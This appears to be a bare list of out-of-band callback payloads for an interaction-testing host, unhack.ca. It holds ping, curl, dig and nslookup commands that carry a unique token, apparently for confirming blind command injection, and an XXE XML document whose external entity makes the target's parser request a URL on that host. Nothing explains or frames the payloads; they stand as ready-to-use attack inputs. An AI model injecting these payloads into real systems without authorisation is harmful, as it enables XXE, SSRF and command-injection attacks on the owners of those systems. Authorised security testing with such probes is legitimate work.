$ ping -c1 -p 0081e16ab074dbb512ab3b614fbda100 unhack.ca
 

$ curl http://unhack.ca/p/81e16ab074dbb512ab3b614fbda1
 

$ dig 81e16ab074dbb512ab3b614fbda1 @unhack.ca
 

$ dig 81e16ab074dbb512ab3b614fbda1.ns.unhack.ca
 

C:\> nslookup 81e16ab074dbb512ab3b614fbda1 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/81e16ab074dbb512ab3b614fbda1">]>
    <foo>&xxe;</foo>